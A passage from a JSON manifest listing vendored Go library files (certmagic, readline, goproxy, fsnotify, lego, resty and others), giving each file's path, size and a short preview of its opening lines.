    "path": "vendor/github.com/caddyserver/certmagic/crypto.go",
    "chars": 11434,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/dnsutil.go",
    "chars": 8816,
    "preview": "package certmagic\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/miekg/dns\"\n)\n\n// Code in th"
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/filestorage.go",
    "chars": 13252,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/handshake.go",
    "chars": 35485,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/httphandler.go",
    "chars": 4882,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/maintain.go",
    "chars": 25004,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/ocsp.go",
    "chars": 8581,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/ratelimiter.go",
    "chars": 6861,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/solvers.go",
    "chars": 24586,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/caddyserver/certmagic/storage.go",
    "chars": 11464,
    "preview": "// Copyright 2015 Matthew Holt\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use "
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/.gitignore",
    "chars": 252,
    "preview": "# Compiled Object files, Static and Dynamic libs (Shared Objects)\n*.o\n*.a\n*.so\n\n# Folders\n_obj\n_test\n\n# Architecture spe"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/.travis.yml",
    "chars": 193,
    "preview": "language: go\ngo:\n  - 1.7\n  - 1.x\n  - tip\nbefore_install:\n  - go get github.com/mattn/goveralls\n  - go get golang.org/x/t"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/LICENSE",
    "chars": 1076,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2014 Cenk Altı\n\nPermission is hereby granted, free of charge, to any person obtaini"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/README.md",
    "chars": 1623,
    "preview": "# Exponential Backoff [![GoDoc][godoc image]][godoc] [![Build Status][travis image]][travis] [![Coverage Status][coveral"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/backoff.go",
    "chars": 2142,
    "preview": "// Package backoff implements backoff algorithms for retrying operations.\n//\n// Use Retry function for retrying operatio"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/context.go",
    "chars": 1116,
    "preview": "package backoff\n\nimport (\n\t\"context\"\n\t\"time\"\n)\n\n// BackOffContext is a backoff policy that stops retrying after the cont"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/exponential.go",
    "chars": 5460,
    "preview": "package backoff\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\n/*\nExponentialBackOff is a backoff implementation that increases the b"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/retry.go",
    "chars": 1903,
    "preview": "package backoff\n\nimport \"time\"\n\n// An Operation is executing by Retry() or RetryNotify().\n// The operation will be retri"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/ticker.go",
    "chars": 1748,
    "preview": "package backoff\n\nimport (\n\t\"sync\"\n\t\"time\"\n)\n\n// Ticker holds a channel that delivers `ticks' of a clock at times reporte"
  },
  {
    "path": "vendor/github.com/cenkalti/backoff/v3/tries.go",
    "chars": 685,
    "preview": "package backoff\n\nimport \"time\"\n\n/*\nWithMaxRetries creates a wrapper around another BackOff, which will\nreturn Stop if Ne"
  },
  {
    "path": "vendor/github.com/chzyer/readline/.gitignore",
    "chars": 10,
    "preview": ".vscode/*\n"
  },
  {
    "path": "vendor/github.com/chzyer/readline/.travis.yml",
    "chars": 252,
    "preview": "language: go\ngo:\n  - 1.x\nscript:\n  - GOOS=windows go install github.com/chzyer/readline/example/...\n  - GOOS=linux go in"
  },
  {
    "path": "vendor/github.com/chzyer/readline/CHANGELOG.md",
    "chars": 3031,
    "preview": "# ChangeLog\n\n### 1.4 - 2016-07-25\n\n* [#60][60] Support dynamic autocompletion\n* Fix ANSI parser on Windows\n* Fix wrong c"
  },
  {
    "path": "vendor/github.com/chzyer/readline/LICENSE",
    "chars": 1074,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2015 Chzyer\n\nPermission is hereby granted, free of charge, to any person obtaining "
  },
  {
    "path": "vendor/github.com/chzyer/readline/README.md",
    "chars": 12214,
    "preview": "[![Build Status](https://travis-ci.org/chzyer/readline.svg?branch=master)](https://travis-ci.org/chzyer/readline)\n[![Sof"
  },
  {
    "path": "vendor/github.com/chzyer/readline/ansi_windows.go",
    "chars": 5174,
    "preview": "// +build windows\n\npackage readline\n\nimport (\n\t\"bufio\"\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"unicode/utf8\"\n\t\"unsafe\"\n)\n\n"
  },
  {
    "path": "vendor/github.com/chzyer/readline/complete.go",
    "chars": 6224,
    "preview": "package readline\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n)\n\ntype AutoCompleter interface {\n\t// Readline will pass the w"
  },
  {
    "path": "vendor/github.com/chzyer/readline/complete_helper.go",
    "chars": 3958,
    "preview": "package readline\n\nimport (\n\t\"bytes\"\n\t\"strings\"\n)\n\n// Caller type for dynamic completion\ntype DynamicCompleteFunc func(st"
  },
  {
    "path": "vendor/github.com/chzyer/readline/complete_segment.go",
    "chars": 1792,
    "preview": "package readline\n\ntype SegmentCompleter interface {\n\t// a\n\t// |- a1\n\t// |--- a11\n\t// |- a2\n\t// b\n\t// input:\n\t//   DoTree"
  },
  {
    "path": "vendor/github.com/chzyer/readline/history.go",
    "chars": 6143,
    "preview": "package readline\n\nimport (\n\t\"bufio\"\n\t\"container/list\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n)\n\ntype hisItem struct {\n\tSource  "
  },
  {
    "path": "vendor/github.com/chzyer/readline/operation.go",
    "chars": 10704,
    "preview": "package readline\n\nimport (\n\t\"errors\"\n\t\"io\"\n\t\"sync\"\n)\n\nvar (\n\tErrInterrupt = errors.New(\"Interrupt\")\n)\n\ntype InterruptErr"
  },
  {
    "path": "vendor/github.com/chzyer/readline/password.go",
    "chars": 630,
    "preview": "package readline\n\ntype opPassword struct {\n\to         *Operation\n\tbackupCfg *Config\n}\n\nfunc newOpPassword(o *Operation) "
  },
  {
    "path": "vendor/github.com/chzyer/readline/rawreader_windows.go",
    "chars": 2320,
    "preview": "// +build windows\n\npackage readline\n\nimport \"unsafe\"\n\nconst (\n\tVK_CANCEL   = 0x03\n\tVK_BACK     = 0x08\n\tVK_TAB      = 0x0"
  },
  {
    "path": "vendor/github.com/chzyer/readline/readline.go",
    "chars": 7037,
    "preview": "// Readline is a pure go implementation for GNU-Readline kind library.\n//\n// example:\n// \trl, err := readline.New(\"> \")\n"
  },
  {
    "path": "vendor/github.com/chzyer/readline/remote.go",
    "chars": 8557,
    "preview": "package readline\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\t\"sync\"\n\t\"sync/atomic\"\n)\n\ntype"
  },
  {
    "path": "vendor/github.com/chzyer/readline/runebuf.go",
    "chars": 10804,
    "preview": "package readline\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n)\n\ntype runeBufferBck struct {\n\tbuf []r"
  },
  {
    "path": "vendor/github.com/chzyer/readline/runes.go",
    "chars": 3839,
    "preview": "package readline\n\nimport (\n\t\"bytes\"\n\t\"unicode\"\n\t\"unicode/utf8\"\n)\n\nvar runes = Runes{}\nvar TabWidth = 4\n\ntype Runes struc"
  },
  {
    "path": "vendor/github.com/chzyer/readline/search.go",
    "chars": 3161,
    "preview": "package readline\n\nimport (\n\t\"bytes\"\n\t\"container/list\"\n\t\"fmt\"\n\t\"io\"\n)\n\nconst (\n\tS_STATE_FOUND = iota\n\tS_STATE_FAILING\n)\n\n"
  },
  {
    "path": "vendor/github.com/chzyer/readline/std.go",
    "chars": 3663,
    "preview": "package readline\n\nimport (\n\t\"io\"\n\t\"os\"\n\t\"sync\"\n\t\"sync/atomic\"\n)\n\nvar (\n\tStdin  io.ReadCloser  = os.Stdin\n\tStdout io.Writ"
  },
  {
    "path": "vendor/github.com/chzyer/readline/std_windows.go",
    "chars": 141,
    "preview": "// +build windows\n\npackage readline\n\nfunc init() {\n\tStdin = NewRawReader()\n\tStdout = NewANSIWriter(Stdout)\n\tStderr = New"
  },
  {
    "path": "vendor/github.com/chzyer/readline/term.go",
    "chars": 3120,
    "preview": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/chzyer/readline/term_bsd.go",
    "chars": 734,
    "preview": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/chzyer/readline/term_linux.go",
    "chars": 964,
    "preview": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/chzyer/readline/term_solaris.go",
    "chars": 786,
    "preview": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/chzyer/readline/term_unix.go",
    "chars": 663,
    "preview": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/chzyer/readline/term_windows.go",
    "chars": 4406,
    "preview": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/chzyer/readline/terminal.go",
    "chars": 4122,
    "preview": "package readline\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n)\n\ntype Terminal struct {\n\tm         "
  },
  {
    "path": "vendor/github.com/chzyer/readline/utils.go",
    "chars": 4676,
    "preview": "package readline\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"container/list\"\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\t\"unic"
  },
  {
    "path": "vendor/github.com/chzyer/readline/utils_unix.go",
    "chars": 1532,
    "preview": "// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd solaris\n\npackage readline\n\nimport (\n\t\"io\"\n\t\"os\"\n\t\"os/"
  },
  {
    "path": "vendor/github.com/chzyer/readline/utils_windows.go",
    "chars": 554,
    "preview": "// +build windows\n\npackage readline\n\nimport (\n\t\"io\"\n\t\"syscall\"\n)\n\nfunc SuspendMe() {\n}\n\nfunc GetStdin() int {\n\treturn in"
  },
  {
    "path": "vendor/github.com/chzyer/readline/vim.go",
    "chars": 2837,
    "preview": "package readline\n\nconst (\n\tVIM_NORMAL = iota\n\tVIM_INSERT\n\tVIM_VISUAL\n)\n\ntype opVim struct {\n\tcfg     *Config\n\top      *O"
  },
  {
    "path": "vendor/github.com/chzyer/readline/windows_api.go",
    "chars": 3052,
    "preview": "// +build windows\n\npackage readline\n\nimport (\n\t\"reflect\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nvar (\n\tkernel = NewKernel()\n\tstdout = u"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/.gitignore",
    "chars": 10,
    "preview": "bin\n*.swp\n"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/LICENSE",
    "chars": 1487,
    "preview": "Copyright (c) 2012 Elazar Leibovich. All rights reserved.\n\nRedistribution and use in source and binary forms, with or wi"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/README.md",
    "chars": 6530,
    "preview": "# Introduction\n\n[![GoDoc](https://godoc.org/github.com/elazarl/goproxy?status.svg)](https://godoc.org/github.com/elazarl"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/actions.go",
    "chars": 2585,
    "preview": "package goproxy\n\nimport \"net/http\"\n\n// ReqHandler will \"tamper\" with the request coming to the proxy server\n// If Handle"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/all.bash",
    "chars": 325,
    "preview": "#!/bin/bash\n\ngo test || exit\nfor action in $@; do go $action; done\n\nmkdir -p bin\nfind regretable examples/* ext/* -maxde"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/ca.pem",
    "chars": 2126,
    "preview": "-----BEGIN CERTIFICATE-----\nMIIF9DCCA9ygAwIBAgIJAODqYUwoVjJkMA0GCSqGSIb3DQEBCwUAMIGOMQswCQYD\nVQQGEwJJTDEPMA0GA1UECAwGQ2V"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/certs.go",
    "chars": 5933,
    "preview": "package goproxy\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n)\n\nfunc init() {\n\tif goproxyCaErr != nil {\n\t\tpanic(\"Error parsing"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/chunked.go",
    "chars": 1714,
    "preview": "// Taken from $GOROOT/src/pkg/net/http/chunked\n// needed to write https responses to client.\npackage goproxy\n\nimport (\n\t"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/counterecryptor.go",
    "chars": 1504,
    "preview": "package goproxy\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/ecdsa\"\n\t\"crypto/rsa\"\n\t\"crypto/sha256\"\n\t\"crypto/x509\"\n\t"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/ctx.go",
    "chars": 3108,
    "preview": "package goproxy\n\nimport (\n\t\"crypto/tls\"\n\t\"net/http\"\n\t\"regexp\"\n)\n\n// ProxyCtx is the Proxy context, contains useful infor"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/dispatcher.go",
    "chars": 12873,
    "preview": "package goproxy\n\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n)\n\n// ReqCondition.HandleReq wil"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/doc.go",
    "chars": 3727,
    "preview": "/*\nPackage goproxy provides a customizable HTTP proxy,\nsupporting hijacking HTTPS connection.\n\nThe intent of the proxy, "
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/https.go",
    "chars": 13792,
    "preview": "package goproxy\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"rege"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/key.pem",
    "chars": 3243,
    "preview": "-----BEGIN RSA PRIVATE KEY-----\nMIIJKAIBAAKCAgEAnhDL4fqGGhjWzRBFy8iHGuNIdo79FtoWPevCpyek6AWrTuBF\n0j3dzRMUpAkemC/p94tGES9"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/logger.go",
    "chars": 84,
    "preview": "package goproxy\n\ntype Logger interface {\n\tPrintf(format string, v ...interface{})\n}\n"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/proxy.go",
    "chars": 6759,
    "preview": "package goproxy\n\nimport (\n\t\"bufio\"\n\t\"io\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"sync/atomic\"\n)\n\n// The basic proxy "
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/responses.go",
    "chars": 1298,
    "preview": "package goproxy\n\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n// Will generate a valid http response to the given reque"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/signer.go",
    "chars": 2656,
    "preview": "package goproxy\n\nimport (\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"cryp"
  },
  {
    "path": "vendor/github.com/elazarl/goproxy/websocket.go",
    "chars": 3302,
    "preview": "package goproxy\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n)\n\nfunc headerContains(h"
  },
  {
    "path": "vendor/github.com/fatih/color/LICENSE.md",
    "chars": 1079,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2013 Fatih Arslan\n\nPermission is hereby granted, free of charge, to any person obta"
  },
  {
    "path": "vendor/github.com/fatih/color/README.md",
    "chars": 5081,
    "preview": "# color [![](https://github.com/fatih/color/workflows/build/badge.svg)](https://github.com/fatih/color/actions) [![PkgGo"
  },
  {
    "path": "vendor/github.com/fatih/color/color.go",
    "chars": 18659,
    "preview": "package color\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/mattn/go-colorable\"\n\t\"github.com/"
  },
  {
    "path": "vendor/github.com/fatih/color/doc.go",
    "chars": 4488,
    "preview": "/*\nPackage color is an ANSI color package to output colorized or SGR defined\noutput to the standard output. The API can "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/.editorconfig",
    "chars": 196,
    "preview": "root = true\n\n[*.go]\nindent_style = tab\nindent_size = 4\ninsert_final_newline = true\n\n[*.{yml,yaml}]\nindent_style = space\n"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/.gitattributes",
    "chars": 26,
    "preview": "go.sum linguist-generated\n"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/.gitignore",
    "chars": 201,
    "preview": "# Setup a Global .gitignore for OS and editor generated files:\n# https://help.github.com/articles/ignoring-files\n# git c"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/.mailmap",
    "chars": 122,
    "preview": "Chris Howey <howeyc@gmail.com> <chris@howey.me>\nNathan Youngman <git@nathany.com> <4566+nathany@users.noreply.github.com"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/AUTHORS",
    "chars": 2197,
    "preview": "# Names should be added to this file as\n#\tName or Organization <email address>\n# The email address is not required for o"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/CHANGELOG.md",
    "chars": 12856,
    "preview": "# Changelog\n\nAll notable changes to this project will be documented in this file.\n\nThe format is based on [Keep a Change"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/CONTRIBUTING.md",
    "chars": 3976,
    "preview": "# Contributing\n\n## Issues\n\n* Request features and report bugs using the [GitHub Issue Tracker](https://github.com/fsnoti"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/LICENSE",
    "chars": 1542,
    "preview": "Copyright (c) 2012 The Go Authors. All rights reserved.\nCopyright (c) 2012-2019 fsnotify Authors. All rights reserved.\n\n"
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/README.md",
    "chars": 5675,
    "preview": "# File system notifications for Go\n\n[![GoDoc](https://godoc.org/github.com/fsnotify/fsnotify?status.svg)](https://godoc."
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/fen.go",
    "chars": 954,
    "preview": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/fsnotify.go",
    "chars": 1537,
    "preview": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/inotify.go",
    "chars": 9487,
    "preview": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/inotify_poller.go",
    "chars": 4730,
    "preview": "// Copyright 2015 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/kqueue.go",
    "chars": 13678,
    "preview": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/open_mode_bsd.go",
    "chars": 373,
    "preview": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/open_mode_darwin.go",
    "chars": 340,
    "preview": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/fsnotify/fsnotify/windows.go",
    "chars": 13777,
    "preview": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/LICENSE",
    "chars": 1088,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2015-2017 Sebastian Erhart\n\nPermission is hereby granted, free of charge, to any pe"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/account.go",
    "chars": 1847,
    "preview": "package api\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/go-acme/lego/v3/acme\"\n)\n\ntype AccountService ser"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/api.go",
    "chars": 4622,
    "preview": "package api\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/authorization.go",
    "chars": 826,
    "preview": "package api\n\nimport (\n\t\"errors\"\n\n\t\"github.com/go-acme/lego/v3/acme\"\n)\n\ntype AuthorizationService service\n\n// Get Gets an"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/certificate.go",
    "chars": 2620,
    "preview": "package api\n\nimport (\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"errors\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\n\t\"github.com/go-acme/lego/v3/ac"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/challenge.go",
    "chars": 1231,
    "preview": "package api\n\nimport (\n\t\"errors\"\n\n\t\"github.com/go-acme/lego/v3/acme\"\n)\n\ntype ChallengeService service\n\n// New Creates a c"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/internal/nonces/nonce_manager.go",
    "chars": 1481,
    "preview": "package nonces\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"sync\"\n\n\t\"github.com/go-acme/lego/v3/acme/api/internal/sender\"\n)\n"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/internal/secure/jws.go",
    "chars": 3030,
    "preview": "package secure\n\nimport (\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rsa\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\n\t\"github."
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/internal/sender/sender.go",
    "chars": 3694,
    "preview": "package sender\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"github.com/go-a"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/internal/sender/useragent.go",
    "chars": 430,
    "preview": "package sender\n\n// CODE GENERATED AUTOMATICALLY\n// THIS FILE MUST NOT BE EDITED BY HAND\n\nconst (\n\t// ourUserAgent is the"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/order.go",
    "chars": 1428,
    "preview": "package api\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\n\t\"github.com/go-acme/lego/v3/acme\"\n)\n\ntype OrderService service\n\n// "
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/api/service.go",
    "chars": 797,
    "preview": "package api\n\nimport (\n\t\"net/http\"\n\t\"regexp\"\n)\n\ntype service struct {\n\tcore *Core\n}\n\n// getLink get a rel into the Link h"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/commons.go",
    "chars": 12636,
    "preview": "// Package acme contains all objects related the ACME endpoints.\n// https://tools.ietf.org/html/draft-ietf-acme-acme-16\n"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/acme/errors.go",
    "chars": 1640,
    "preview": "package acme\n\nimport (\n\t\"fmt\"\n)\n\n// Errors types\nconst (\n\terrNS       = \"urn:ietf:params:acme:error:\"\n\tBadNonceErr = err"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/certcrypto/crypto.go",
    "chars": 6727,
    "preview": "package certcrypto\n\nimport (\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\""
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/challenge/challenges.go",
    "chars": 1264,
    "preview": "package challenge\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/go-acme/lego/v3/acme\"\n)\n\n// Type is a string that identifies a particul"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/challenge/provider.go",
    "chars": 1054,
    "preview": "package challenge\n\nimport \"time\"\n\n// Provider enables implementing a custom challenge\n// provider. Present presents the "
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/challenge/tlsalpn01/tls_alpn_challenge.go",
    "chars": 3804,
    "preview": "package tlsalpn01\n\nimport (\n\t\"crypto/rsa\"\n\t\"crypto/sha256\"\n\t\"crypto/tls\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/asn1\"\n\t\"fmt\"\n\n\t\""
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/challenge/tlsalpn01/tls_alpn_challenge_server.go",
    "chars": 2755,
    "preview": "package tlsalpn01\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/go-acme/lego/v3/log\"\n)\n\ncon"
  },
  {
    "path": "vendor/github.com/go-acme/lego/v3/log/logger.go",
    "chars": 1512,
    "preview": "package log\n\nimport (\n\t\"log\"\n\t\"os\"\n)\n\n// Logger is an optional custom logger.\nvar Logger StdLogger = log.New(os.Stdout, "
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/.gitignore",
    "chars": 333,
    "preview": "# Compiled Object files, Static and Dynamic libs (Shared Objects)\n*.o\n*.a\n*.so\n\n# Folders\n_obj\n_test\n\n# Architecture spe"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/BUILD.bazel",
    "chars": 1224,
    "preview": "load(\"@io_bazel_rules_go//go:def.bzl\", \"go_library\", \"go_test\")\nload(\"@bazel_gazelle//:def.bzl\", \"gazelle\")\n\n# gazelle:p"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/LICENSE",
    "chars": 1127,
    "preview": "The MIT License (MIT)\n\nCopyright (c) 2015-2023 Jeevanandam M., https://myjeeva.com <jeeva@myjeeva.com>\n\nPermission is he"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/README.md",
    "chars": 34473,
    "preview": "<p align=\"center\">\n<h1 align=\"center\">Resty</h1>\n<p align=\"center\">Simple HTTP and REST client library for Go (inspired "
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/WORKSPACE",
    "chars": 1092,
    "preview": "workspace(name = \"resty\")\n\nload(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\n\nhttp_archive(\n    name "
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/client.go",
    "chars": 43983,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/digest.go",
    "chars": 7234,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com)\n// 2023 Segev Dagan (https://github.com/segevda)\n// All rig"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/middleware.go",
    "chars": 15233,
    "preview": "// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.\n// resty source code and usage is gov"
  },
  {
    "path": "vendor/github.com/go-resty/resty/v2/redirect.go",
    "chars": 3513,
